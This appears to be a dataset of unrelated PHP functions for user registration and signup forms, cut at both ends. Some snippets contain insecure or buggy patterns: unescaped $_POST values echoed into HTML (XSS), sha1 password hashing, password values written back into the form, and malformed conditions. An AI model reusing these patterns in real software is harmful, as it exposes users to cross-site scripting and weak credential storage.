$this->userTemplate);\n\t\t$this->ObTpl->set_var(\"GRAPHICSMAINPATH\",GRAPHICS_PATH);\t\n\t\t$this->ObTpl->set_var(\"TPL_VAR_SITEURL\",SITE_URL);\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"TPL_NEWSLETTER_BLK\",\"news_blk\");\n\t//\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"DSPMSG_BLK\", \"msg_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"TPL_CAPTCHA_BLK\",\"captcha_blk\");\n\t\t$this->ObTpl->set_var(\"captcha_blk\",\"\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"countryblk\",\"countryblks\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"BillCountry\",\"nBillCountry\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"stateblk\",\"stateblks\");\n\t\t$this->ObTpl->set_var(\"TPL_USERURL\",SITE_URL.\"user/\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CPASS\",\"\");\n\t\t$this->ObTpl->set_var(\"news_blk\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK1\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK2\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK3\",\"\");\n\n\t\t#INTIALIZING\n\t\t$row_customer[0]->vFirstName = \"\";\n\t\t$row_customer[0]->vLastName =\"\";\n\t\t$row_customer[0]->vEmail = \"\";\n\t\t$row_customer[0]->vPassword = \"\";\n\t\t$row_customer[0]->vPhone = \"\";\n\t\t$row_customer[0]->vCompany = \"\";\n\t\t$row_customer[0]->vAddress1 = \"\";\n\t\t$row_customer[0]->vAddress2 = \"\";\n\t\t$row_customer[0]->vState =\"\";\n\t\t$row_customer[0]->vStateName=\"\";\n\t\t$row_customer[0]->vCity = \"\";\n\t\t$row_customer[0]->vCountry = \"\";\t\n\t\t$row_customer[0]->vZip = \"\";\t\n\t\t$row_customer[0]->vHomePage = \"\";\t\n\t\t$row_customer[0]->fMemberPoints = \"\";\n\t\t$row_customer[0]->iMailList = \"1\";\n\t\t$row_customer[0]->iStatus = \"1\";\n\n\n\t\t/*CHECKING FOR POST VARIABLES\n\t\tIF VARIABLES ARE SET THEN ASSIGNING THEIR VALUE TO VARIABLE SAMEVARIABLE\n\t\tAS USED WHEN RETURNED FROM DATABASE\n\t\tTHIS THING IS USED TO REMOVE REDUNDANCY AND USE SAME FORM FOR EDIT AND INSERT*/\n\n\t\tif(count($_POST) > 0)\n\t\t{\n\t\t\tif(isset($this->request[\"first_name\"]))\n\t\t\t\t$row_customer[0]->vFirstName = $this->request[\"first_name\"];\n\t\t\tif(isset($this->request[\"password\"]))\n\t\t\t\t$row_customer[0]->vPassword = $this->request[\"password\"];\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CPASS\", $this->libFunc->m_displayContent($this->request[\"verify_pw\"]));\n\t\t\tif(isset($this->request[\"last_name\"]))\n\t\t\t\t$row_customer[0]->vLastName = $this->request[\"last_name\"];\n\t\n\t\t\tif(isset($this->request[\"company\"]))\n\t\t\t\t$row_customer[0]->vCompany = $this->request[\"company\"];\n\t\t\tif(isset($this->request[\"txtemail\"]))\n\t\t\t\t$row_customer[0]->vEmail = $this->request[\"txtemail\"];\n\t\t\tif(isset($this->request[\"address1\"]))\n\t\t\t\t$row_customer[0]->vAddress1 = $this->request[\"address1\"];\n\t\t\tif(isset($this->request[\"address2\"]))\n\t\t\t\t$row_customer[0]->vAddress2 = $this->request[\"address2\"];\n\t\t\tif(isset($this->request[\"city\"]))\n\t\t\t\t$row_customer[0]->vCity = $this->request[\"city\"];\n\t\t\tif(isset($this->request[\"bill_state_id\"]))\n\t\t\t\t$row_customer[0]->vState = $this->request[\"bill_state_id\"];\t\n\t\t\tif(isset($this->request[\"bill_state\"]))\n\t\t\t\t$row_customer[0]->vStateName = $this->request[\"bill_state\"];\t\n\t\t\tif(isset($this->request[\"zip\"]))\n\t\t\t\t$row_customer[0]->vZip = $this->request[\"zip\"];\t\n\t\t\tif(isset($this->request[\"bill_country_id\"]))\n\t\t\t\t$row_customer[0]->vCountry = $this->request[\"bill_country_id\"];\t\n\t\t\tif(isset($this->request[\"phone\"]))\n\t\t\t\t$row_customer[0]->vPhone = $this->request[\"phone\"];\t\n\t\t\tif(isset($this->request[\"homepage\"]))\n\t\t\t\t$row_customer[0]->vHomePage = $this->request[\"homepage\"];\t\n\t\t\tif(isset($this->request[\"mail_list\"]))\n\t\t\t\t$row_customer[0]->iMailList = $this->request[\"mail_list\"];\t\n\t\t\tif(isset($this->request[\"member_points\"]))\n\t\t\t\t$row_customer[0]->fMemberPoints = $this->request[\"member_points\"];\t\n\t\t\tif(isset($this->request[\"iStatus\"]))\n\t\t\t\t$row_customer[0]->iStatus = $this->request[\"status\"];\t\n\t\t\telse\n\t\t\t\t$row_customer[0]->iStatus = \"\";\n\t\t}\n\t\n\t\t#DISPLAYING MESSAGES\n\t\tif($this->err==1)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",$this->errMsg);\n\t\t}\n\n\n\t\t#IF EDIT MODE SELECTED\n\n\t\t#ASSIGNING FORM ACTION\t\t\t\t\t\t\n\t\t$this->ObTpl->set_var(\"FORM_URL\", SITE_URL.\"user/adminindex.php?action=user.updateUser\");\n\t\t\n\t\t$this->obDb->query = \"SELECT iStateId_PK, vStateName FROM \".STATES.\" ORDER BY vStateName\";\n\t\t$row_state = $this->obDb->fetchQuery();\n\t\t$row_state_count = $this->obDb->record_count;\n\t\t\n\t\t$this->obDb->query = \"SELECT iCountryId_PK, vCountryName, vShortName FROM \".COUNTRY.\" ORDER BY iSortFlag,vCountryName\";\n\t\t$row_country = $this->obDb->fetchQuery();\n\t\t$row_country_count = $this->obDb->record_count;\n\n\t\t# Loading billing country list\t\t\n\t\tfor($i=0;$i<$row_country_count;$i++)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"k\", $row_country[$i]->iCountryId_PK);\n\t\t\t$this->ObTpl->parse('countryblks','countryblk',true);\n\t\t\t$this->ObTpl->set_var(\"TPL_COUNTRY_VALUE\", $row_country[$i]->iCountryId_PK);\n\t\t\t\n\t\t\t\n\t\t\tif($row_customer[0]->vCountry> 0)\n\t\t\t{\n\t\t\t\tif($row_customer[0]->vCountry == $row_country[$i]->iCountryId_PK)\n\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\", \"selected=\\\"selected\\\"\");\n\t\t\t\telse\n\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\", \"\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\t$row_customer[0]->vCountry = SELECTED_COUNTRY;\n\t\t\t\t\t//echo SELECTED_COUNTRY;\n\n\t\t\t\t\tif($row_country[$i]->iCountryId_PK==$row_customer[0]->vCountry)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\",\"selected=\\\"selected\\\"\");\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\", \"\");\n\t\t\t\t\t}\n\t\t\t}\t\n\n\t\t\t$this->ObTpl->set_var(\"TPL_COUNTRY_NAME\",$this->libFunc->m_displayContent($row_country[$i]->vCountryName));\n\t\t\t$this->ObTpl->parse(\"nBillCountry\",\"BillCountry\",true);\n\t\t}\n\t\t\n\t\tif(isset($row_customer[0]->vCountry) && $row_customer[0]->vCountry != '')\t\n\t\t\t$this->ObTpl->set_var('selbillcountid',$row_customer[0]->vCountry);\n\t\telse\n\t\t\t$this->ObTpl->set_var('selbillcountid',\"251\");\n\n\n\t\tif(isset($row_customer[0]->vState) && $row_customer[0]->vState != '')\n\t\t\t$this->ObTpl->set_var('selbillstateid',$row_customer[0]->vState);\n\t\telse\n\t\t\t$this->ObTpl->set_var('selbillstateid',0);\n\t\t\n\t\t\t\n\t\t\n\t\t# Loading the state list here\n\t\t$this->obDb->query = \"SELECT C.iCountryId_PK as cid,S.iStateId_PK as sid,S.vStateName as statename FROM \".COUNTRY.\" C,\".STATES.\" S WHERE S.iCountryId_FK=C.iCountryId_PK ORDER BY C.vCountryName,S.vStateName\";\n\t\t$cRes = $this->obDb->fetchQuery();\n\t\t$country_count = $this->obDb->record_count;\n\n\t\tif($country_count == 0)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"countryblks\", \"\");\n\t\t\t$this->ObTpl->set_var(\"stateblks\", \"\");\n\t\t}\n\t\telse\n\t\t{\n\t\t$loopid=0;\n\t\t\tfor($i=0;$i<$country_count;$i++)\n\t\t\t{\n\t\t\t\tif($cRes[$i]->cid==$loopid)\n\t\t\t\t{\n\t\t\t\t\t$stateCnt++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$loopid=$cRes[$i]->cid;\n\t\t\t\t\t$stateCnt=0;\n\t\t\t\t}\n\t\t\t\t$this->ObTpl->set_var(\"i\", $cRes[$i]->cid);\n\t\t\t\t$this->ObTpl->set_var(\"j\", $stateCnt);\n\t\t\t\t$this->ObTpl->set_var(\"stateName\",$cRes[$i]->statename);\n\t\t\t\t$this->ObTpl->set_var(\"stateVal\",$cRes[$i]->sid);\n\t\t\t\t$this->ObTpl->parse('stateblks','stateblk',true);\n\t\t\t}\n\t\t}\n\n\n\t\t#ASSIGNING FORM VARAIABLES\n\n\t\t$this->ObTpl->set_var(\"TPL_VAR_FNAME\", $this->libFunc->m_displayContent($row_customer[0]->vFirstName));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_LNAME\", $this->libFunc->m_displayContent($row_customer[0]->vLastName));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_EMAIL\", $this->libFunc->m_displayContent($row_customer[0]->vEmail));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_PASS\", $this->libFunc->m_displayContent($row_customer[0]->vPassword));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_ADDRESS1\", $this->libFunc->m_displayContent($row_customer[0]->vAddress1 ));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_ADDRESS2\", $this->libFunc->m_displayContent($row_customer[0]->vAddress2 ));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CITY\", $this->libFunc->m_displayContent($row_customer[0]->vCity));\n\n\t\t$this->ObTpl->set_var(\"TPL_VAR_STATE\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vState ));\n\t\tif($row_customer[0]->vState>1)\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"BILL_STATE\",\"\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"BILL_STATE\",\n\t\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vStateName));\n\t\t\t}\n\t\t$this->ObTpl->set_var(\"TPL_VAR_COUNTRY\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vCountry ));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_ZIP\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vZip));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_COMPANY\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vCompany));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_PHONE\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vPhone));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_HOMEPAGE\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vHomePage));\n\t\t\n\t\tif(CAPTCHA_REGISTRATION){\n\t\t\t$this->ObTpl->parse(\"captcha_blk\",\"TPL_CAPTCHA_BLK\",true);\n\t\t}\n\n\t\tif(MAIL_LIST==1)\n\t\t{\n\t\t\tif($row_customer[0]->iMailList==1)\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK1\",\"selected=\\\"selected\\\"\");\n\t\t\t}\n\t\t\telseif($row_customer[0]->iMailList==2)\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK2\",\"selected=\\\"selected\\\"\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK3\",\"selected=\\\"selected\\\"\");\n\t\t\t}\n\t\t\t$this->ObTpl->parse('news_blk','TPL_NEWSLETTER_BLK');\n\t\t}\n\t\t\n\t\treturn $this->ObTpl->parse(\"return\",\"TPL_USER_FILE\");\n\t}", "public function testPrepareForm()\n {\n $this->markTestIncomplete('This test has not been implemented yet.');\n }", "function getSignupForm($arrFields){\n\t\t$arrSignupFormFieldLabels = array('email'=>'Email', 'name'=>'Name', 'first_name'=>'First Name', 'last_name'=>'Last Name', 'company'=>'Company', 'address'=>'Address', 'city'=>'City', 'state'=>'State', 'zip_code'=>'Zip Code', 'country'=>'Country');\n\t\t$retVal = '';\n\t\t$arrFldName \t= $arrFields['fld_name'];\n\t\t$arrFldType \t= $arrFields['fld_type'];\n\t\t$arrFldRequired = $arrFields['fld_required'];\n\t\t$arrFldOptions \t= $arrFields['fld_options'];\n\t\t// $retVal = \"<tr><td><label>\".$this->lang->line('email').\" <span>*</span></label><br/><input type='text' id='signup_eml' name='email'>$validation_error</td></tr>\\n\";\n\t\t$retVal = '';\n\t\tif(is_array($arrFldName) && count($arrFldName) > 0){\n\t\t foreach($arrFldName as $fld => $fldVal){\n\t\t\t$isRequired ='';\t\n\t\t\tif(array_key_exists($fldVal,$arrSignupFormFieldLabels)){\n\t\t\t\t$retVal.= \"<tr><td><label><span class='form-label'>\".$this->lang->line($fldVal).\"</span>\";\n\t\t\t\t$retVal.= ($arrFldRequired[$fld] ==\"Y\")?\"<span>*</span>\":'';\n\t\t\t\t$retVal.= \"</label><br/><input type='text' id='signup_{$fldVal}' name='$fldVal' /></td></tr>\\n\";\n\t\t\t}else{\n\t\t\t\t$fldVal = urlencode($fldVal);\n\t\t\t\t$retVal.= \"<tr><td><label><span class='form-label'>\".str_replace('_',' ',rawurldecode($fldVal)).\"</span>\";\n\t\t\t\tif($arrFldRequired[$fld] ==\"Y\"){\n\t\t\t\t\t$retVal.= \"<span>*</span>\";\n\t\t\t\t\t$isRequired= 'required';\n\t\t\t\t}\t\n\t\t\t\t$retVal.= \"</label><br/>\";\n\t\t\t\tif($arrFldType[$fld] ==\"text\"){\n\t\t\t\t\t$retVal.= \"<input type='text' id='signup_{$fldVal}' name='$fldVal' $isRequired /></td></tr>\\n\";\n\t\t\t\t}elseif($arrFldType[$fld] ==\"textarea\"){\n\t\t\t\t\t$retVal.= \"<textarea id='signup_{$fldVal}' name='$fldVal' $isRequired></textarea></td></tr>\\n\";\n\t\t\t\t}elseif($arrFldType[$fld] ==\"dropdown\"){\n\t\t\t\t\t$retVal.= \"<select id='signup_{$fldVal}' name='$fldVal' $isRequired><option value=''>--</option>\";\n\t\t\t\t\t$arrThisFldOptions =(trim($arrFldOptions[$fld]) != '')? array_filter(explode(',',$arrFldOptions[$fld])):'';\n\t\t\t\t\tif(is_array($arrThisFldOptions) && count($arrThisFldOptions) > 0){\n\t\t\t\t\t\tforeach($arrThisFldOptions as $thisOpt)\n\t\t\t\t\t\t$retVal.= \"<option value='$thisOpt'>$thisOpt</option>\";\n\t\t\t\t\t}\n\t\t\t\t\t$retVal.= \"</select>\";\n\t\t\t\t\t$retVal.= \"</td></tr>\\n\";\n\t\t\t\t}elseif($arrFldType[$fld] ==\"checkbox\"){\t\t\t\t\t\n\t\t\t\t\t$arrThisFldOptions =(trim($arrFldOptions[$fld]) != '')? array_filter(explode(',',$arrFldOptions[$fld])):'';\n\t\t\t\t\tfor($i=0;$i < count($arrThisFldOptions);$i++){\n\t\t\t\t\t\t$retVal.= \"<input type='checkbox' name='{$fldVal}[]' id='signup_{$fldVal}{$i}' value='\".$arrThisFldOptions[$i].\"' $isRequired /> \";\n\t\t\t\t\t\t$retVal.= \"<label for='signup_{$fldVal}{$i}'>\".$arrThisFldOptions[$i].\"</label> \";\n\t\t\t\t\t\t$retVal.= \"<br/>\";\n\t\t\t\t\t}\n\t\t\t\t}elseif($arrFldType[$fld] ==\"radio\"){\n\t\t\t\t\t$arrThisFldOptions =(trim($arrFldOptions[$fld]) != '')? array_filter(explode(',',$arrFldOptions[$fld])):'';\n\t\t\t\t\tfor($i=0;$i < count($arrThisFldOptions);$i++){\n\t\t\t\t\t\t$retVal.= \"<input type='radio' name='{$fldVal}[]' id='signup_{$fldVal}{$i}' value='\".$arrThisFldOptions[$i].\"' $isRequired /> \";\n\t\t\t\t\t\t$retVal.= \"<label for='signup_{$fldVal}{$i}'>\".$arrThisFldOptions[$i].\"</label> \";\n\t\t\t\t\t\t$retVal.= \"<br/>\";\n\t\t\t\t\t}\n\t\t\t\t}elseif($arrFldType[$fld] ==\"date_dropdown\"){\n\t\t\t\t\t\t$retVal.= \"<select class='input-option-date' id='signup_{$fldVal}' name='{$fldVal}[m]' $isRequired><option value=''>Month</option>\";\n\t\t\t\t\t\tfor($i=1;$i < 13;$i++){\n\t\t\t\t\t\t\t$retVal.= \"<option value='$i'>$i</option>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$retVal.= \"</select>\";\n\t\t\t\t\t\t$retVal.= \"<select class='input-option-date' id='signup_{$fldVal}' name='{$fldVal}[d]' $isRequired><option value=''>Day</option>\";\n\t\t\t\t\t\tfor($i=1;$i < 32;$i++){\n\t\t\t\t\t\t\t$retVal.= \"<option value='$i'>$i</option>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$retVal.= \"</select>\";\n\n\t\t\t\t\t\t$retVal.= \"<select class='input-option-date' id='signup_{$fldVal}' name='{$fldVal}[Y]' $isRequired><option value=''>Year</option>\";\n\t\t\t\t\t\tfor($i=1900;$i < date('Y')+20;$i++){\n\t\t\t\t\t\t\t$retVal.= \"<option value='$i'>$i</option>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$retVal.= \"</select>\";\n\t\t\t\t}\n\t\t\t $retVal.= \"</td></tr>\\n\";\n\t\t\t}\n\t\t}\n\t\t}\n\t\treturn $retVal;\n\t}", "function getSignUpSanitized() {\n $this->sanitizeName();\n $this->sanitizeEmail();\n $this->sanitizePassword();\n return array($this->fname, $this->lname, $this->email, $this->password);\n }", "private function setPostDataToDataArray()\n\t{\n\t\ttry\n\t\t{\n\t\t\t# Set the Database instance to a variable.\n\t\t\t$db=DB::get_instance();\n\n\t\t\t# Check if the form has been submitted.\n\t\t\tif(array_key_exists('_submit_check', $_POST) && (isset($_POST['register']) && ($_POST['register']==='Register')))\n\t\t\t{\n\t\t\t\t# Set the Validator instance to a variable.\n\t\t\t\t$validator=Validator::getInstance();\n\t\t\t\t# Set the data array to a local variable.\n\t\t\t\t$data=$this->getData();\n\n\t\t\t\t# Check if there was POST data sent.\n\t\t\t\tif(isset($_POST['email']))\n\t\t\t\t{\n\t\t\t\t\t# Clean it up and set it to the data array index.\n\t\t\t\t\t$data['Email']=$db->sanitize($_POST['email'], 2);\n\t\t\t\t}\n\n\t\t\t\t# Check if there was POST data sent.\n\t\t\t\tif(isset($_POST['email_conf']))\n\t\t\t\t{\n\t\t\t\t\t# Clean it up and set it to the data array index.\n\t\t\t\t\t$data['EmailConf']=$db->sanitize($_POST['email_conf'], 2);\n\t\t\t\t}\n\n\t\t\t\t# Check if there was POST data sent.\n\t\t\t\tif(isset($_POST['password']) && !empty($_POST['password']))\n\t\t\t\t{\n\t\t\t\t\t# If WordPress is installed add the user the the WordPress users table.\n\t\t\t\t\tif(WP_INSTALLED===TRUE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data['WPPassword']=trim($_POST['password']);\n\t\t\t\t\t}\n\t\t\t\t\t$data['Password']=trim($_POST['password']);\n\t\t\t\t}\n\n\t\t\t\t# Check if there was POST data sent.\n\t\t\t\tif(isset($_POST['password_conf']) && !empty($_POST['password_conf']))\n\t\t\t\t{\n\t\t\t\t\t$data['PasswordConf']=$_POST['password_conf'];\n\t\t\t\t}\n\n\t\t\t\t# Check if there was POST data sent.\n\t\t\t\tif(isset($_POST['username']))\n\t\t\t\t{\n\t\t\t\t\t# Clean it up and set it to the data array index.\n\t\t\t\t\t$data['Username']=$db->sanitize($_POST['username'], 2);\n\t\t\t\t}\n\n\t\t\t\t# Reset the data array to the data member.\n\t\t\t\t$this->setData($data);\n\t\t\t}\n\t\t}\n\t\tcatch(Exception $e)\n\t\t{\n\t\t\tthrow $e;\n\t\t}\n\t}", "function CollectRegistrationSubmission(&$formvars){\r\n\t\t\r\n $formvars['UFname'] = $this->Sanitize($_POST['UFname']);\r\n $formvars['ULname'] = $this->Sanitize($_POST['ULname']);\r\n\t\t$formvars['UuserName'] = $this->Sanitize($_POST['UuserName']);\r\n $formvars['UPswd'] = $this->Sanitize($_POST['UPswd']);\r\n $formvars['ConPswd'] = $this->Sanitize($_POST['ConPswd']);\r\n $formvars['Uemail'] = $this->Sanitize($_POST['Uemail']);\r\n\t\t$formvars['Uphone'] = $this->Sanitize($_POST['Uphone']);\r\n// \t\t$formvars['Upic'] = $this->Sanitize($_POST['Upic']);\r\n\t\t\r\n //$formvars['Uadmin'] = $this->Sanitize($_POST['Uadmin']);\r\n }", "function prepare() {\n $this->addChild(new fapitng_FormHidden('form_build_id', array(\n 'value' => $this->build_id,\n )));\n $this->addChild(new fapitng_FormHidden('form_id', array(\n 'value' => $this->id,\n )));\n if ($this->token) {\n $this->addChild(new fapitng_FormHidden('form_token', array(\n 'value' => $this->token,\n )));\n }\n }", "public function displayOptionsForm()\n {\n $prefix = $this->getOptionsPrefix();\n $helper = new UserHelper($this->app());\n\n ob_start();\n ?>\n\n<form action=\"index.php\" method=\"post\">\n\n<fieldset id=\"front-end-signup\" class=\"\">\n <legend>Front-end signup</legend>\n <p>\n <label\n class=\"inline\"\n for=\"options_<?php echo $prefix; ?>frontendsignup_enable\"\n >\n Enable:\n </label>\n <input\n type=\"radio\"\n name=\"options_<?php echo $prefix; ?>frontendsignup_enable\"\n value=\"1\"\n <?php if ($this->options[$prefix.\"frontendsignup_enable\"]) : ?>\n checked=\"checked\"\n <?php endif; ?>\n /> Yes /\n <input\n type=\"radio\"\n name=\"options_<?php echo $prefix; ?>frontendsignup_enable\"\n value=\"0\"\n <?php if (!$this->options[$prefix.\"frontendsignup_enable\"]) : ?>\n checked=\"checked\"\n <?php endif; ?>\n /> No\n </p>\n <p>\n <label class=\"inline\" for=\"options_<?php echo $prefix; ?>frontendsignup_show_billing\">\n Show billing details:\n </label>\n <input\n type=\"radio\"\n name=\"options_<?php echo $prefix; ?>frontendsignup_show_billing\"\n value=\"1\"\n <?php if ($this->options[$prefix.\"frontendsignup_show_billing\"]) : ?>\n checked=\"checked\"\n <?php endif; ?>\n /> Yes /\n <input\n type=\"radio\"\n name=\"options_<?php echo $prefix; ?>frontendsignup_show_billing\"\n value=\"0\"\n <?php if (!$this->options[$prefix.\"frontendsignup_show_billing\"]) : ?>\n checked=\"checked\"\n <?php endif; ?>\n /> No\n </p>\n <p>\n <label class=\"inline\" for=\"options_<?php echo $prefix; ?>frontendsignup_def_group\">\n Default group for new users:\n </label>\n <?php\n echo $helper->getGroupsSelect(\n \"options_\".$prefix.\"frontendsignup_def_group\",\n $this->options[$prefix.\"frontendsignup_def_group\"]\n );\n ?>\n </p>\n </fieldset>\n\n <p>\n <input type=\"button\" value=\"&larr; Back\" onclick=\"window.history.back();\" />\n <input type=\"submit\" value=\"Save &rarr;\" />\n </p>\n\n <input type=\"hidden\" name=\"controller\" value=\"plugins\" />\n <input type=\"hidden\" name=\"action\" value=\"save_options\" />\n</form>\n\n <?php\n $str = ob_get_contents();\n ob_end_clean();\n\n return $str;\n }", "public function signupForm()\n {\n \t# code...\n \treturn view(\"external-pages.sign-up\");\n }", "function populate_new_user_fields($form){\n\t\tif($form['title']!=self::FORM_USER_REGISTRATION) return $form;\n\n\t\tforeach ( $form['fields'] as $field )\n\t\t{\n\t\t\tif ( $field->type == 'select' and strpos( $field->cssClass,'student-cohorts' )!==false ) {\n\t\t\t \t$terms = get_terms(array('taxonomy' => 'user_cohort', 'lang' => 'en,es', 'hide_empty' => 0));\n\t\t\t \t//print_r($terms); die();\n\t\t\t \t$choices = array();\n\t\t\t\tforeach($terms as $term) if($term->parent!=0) $choices[] = array( 'text' => $term->name, 'value' => $term->term_id );\n\t\t\t \t$field->choices = $choices;\n\t\t\t \t$field->placeholder = 'Select a cohort';\n\t\t\t}\n\t\t\telse if ( $field->type == 'select' and strpos( $field->cssClass,'available-courses' )!==false ) {\n\t\t\t \t$terms = get_terms( array( 'taxonomy' => 'course','hide_empty' => 0, 'parent'=>0));\n\t\t\t \t$choices = array();\n\t\t\t\tforeach($terms as $term) $choices[] = array( 'text' => $term->name, 'value' => $term->term_id );\n\t\t\t \t$field->choices = $choices;\n\t\t\t \t$field->placeholder = 'Select a course';\n\t\t\t}\n\t\t\telse if ( $field->type == 'select' and strpos( $field->cssClass,'breathecode-location' )!==false ) {\n\t\t\t \t$locations = WPASThemeSettingsBuilder::getThemeOption('sync-bc-locations-api');\n\t\t\t\t$choices = [];\n\t\t\t\tforeach($locations as $loc) $choices[] = array( 'text' => $loc['name'], 'value' => $loc['slug'] );\n\t\t\t \t$field->choices = $choices;\n\t\t\t \t$field->placeholder = 'Select a location';\n\t\t\t}\n\t\t}\n\t\treturn $form;\n\t}", "private function prepareForm()\n {\n $this->ValidateFormParameters();\n\n $sign_data = $this->GenerateSignData();\n $secure_hash = $this->GenerateSecureHash($sign_data);\n\n $this->setFormParameter('secureHash', $secure_hash);\n\n return $this;\n }", "function wyz_ajax_registration_form_builder_save_form() {\n\n\t$form_data = json_decode( stripslashes_deep( $_REQUEST['form_data'] ),true );\n\tif ( ! empty( $form_data ) && is_array( $form_data ) ) {\n\t\tforeach ( $form_data as $key => $value ) {\n\t\t\t$form_data[ $key ]['hidden'] = true;\n\t\t}\n\t}\n\tupdate_option( 'wyz_registration_form_data', $form_data );\n\twp_die();\n}", "public function populateForm() {}", "function create_user_registration_form($data) {\n foreach($data as $key => $val) {\n echo '<div class=\"form-group\">\n <label for=\"'.$val.'\" class=\"pl-1\">'.$key.':';\n if ($val != \"mobile\") echo '*'; echo '</label>\n <input type=\"'.USERS_FORM_TYPES[$key].'\" class=\"form-control\"\n name=\"'.$val.'\" placeholder=\"'.$key.'\" maxlength=\"40\"';\n if (isset($_POST[$val])) echo ' value=\"'.$_POST[$val].'\"';\n echo '></div>';\n }\n }", "function form_signup($post) {\n $a = array(\n 'signup_nick' => 'checkNickname',\n 'signup_mail' => 'checkEmail'\n );\n \n return _form($post, $a);\n}", "public function onPreSetData(FormEvent $event)\n {\n $this->form = $event->getForm();\n $user = $event->getData();\n\n if ($user && $user->getId() !== null) {\n\n // username field rebuilding\n $username = $this->getField(self::USERNAME);\n $usernameOptions = $username->getOptions();\n $usernameOptions['attr']['readonly'] = '';\n $this->rebuildField($username, $usernameOptions);\n\n // password field rebuilding\n $password = $this->getField(self::PASSWORD);\n $passwordOptions = $password->getOptions();\n $passwordOptions['required'] = false;\n $this->rebuildField($password, $passwordOptions);\n\n //$this->buildErrorInputs();\n }\n }", "protected function prepareForm()\n {\n if(method_exists($this->controller, 'prepareCustomForm')){\n $this->controller->prepareCustomForm($this, $this->form);\n }\n $this->form->get('submit')->setValue('Agregar');\n return $this->form;\n }", "protected function loadFormData()\n {\n $data = $this->getData();\n $this->preprocessData('com_ketshop.registration', $data);\n\n return $data;\n }", "protected function createFormFields() {\n\t}", "public function p_signup() {\n\t#print_r($_POST);\n\n\t# Prevent SQL injection attacks by sanitizing user entered data\n\t$_POST = DB::instance(DB_NAME)->sanitize($_POST);\n\n\t#encrypt\n\t$_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\t#can override password salt in application version in core config\n\n\t$_POST['token'] = sha1(TOKEN_SALT.$_POST['email'].Utils::generate_random_string());\n\t#token salt, users email, random string then hashed\n\n\t$_POST['created'] = Time::now(); #could mimic different time\n\t$_POST['modified'] = Time::now(); #time stamp\n\n\t#check if the address is not in use in the system\n\t$q = \"SELECT email\n\tFROM users WHERE email = '\".$_POST['email'].\"'\";\n\n\t$email = DB::instance(DB_NAME)->select_field($q);\n\n\tif($email == $_POST['email'] && $_POST['email' != \"\"]){\t\n\n\t\t$address_in_use = \"The email address you have entered is already in use. Please pick another.\";\n\t\tRouter::redirect(\"/users/signup/error=$address_in_use\");\n\t}\n\n\tif($_POST['email'] == \"\" || $_POST['first_name'] == \"\" || $_POST['last_name'] == \"\" || $_POST['password'] == \"\" ){\n\n\t\t$required = \"All fields on this form are required.\";\n\t\tRouter::redirect(\"/users/signup/error: $required\");\n\t}\n\telse{\n\n\t\t$user_id = DB::instance(DB_NAME)->insert(\"users\", $_POST);\n\n\n\t\t# For now, just confirm they've signed up - we can make this fancier later\n\t\techo \"You're registered! Now go <a href='/users/login'>add issue</a>\";\n\t\tRouter::redirect(\"/users/login\");\n\t}\t\n}", "protected function loadFormData()\n\t{\n\t\t$data = $this->getData();\n\n\t\t$this->preprocessData('com_volunteers.registration', $data);\n\n\t\treturn $data;\n\t}", "protected function _prepareForm()\n {\n // die($this->_helper->getAllRule());\n $actionUrl = $this->getUrl('*/generate/generate');\n\n /** @var \\Magento\\Framework\\Data\\Form $form */\n $form = $this->_formFactory->create(\n [\n 'data' => [\n 'id' => 'filter_form',\n 'action' => 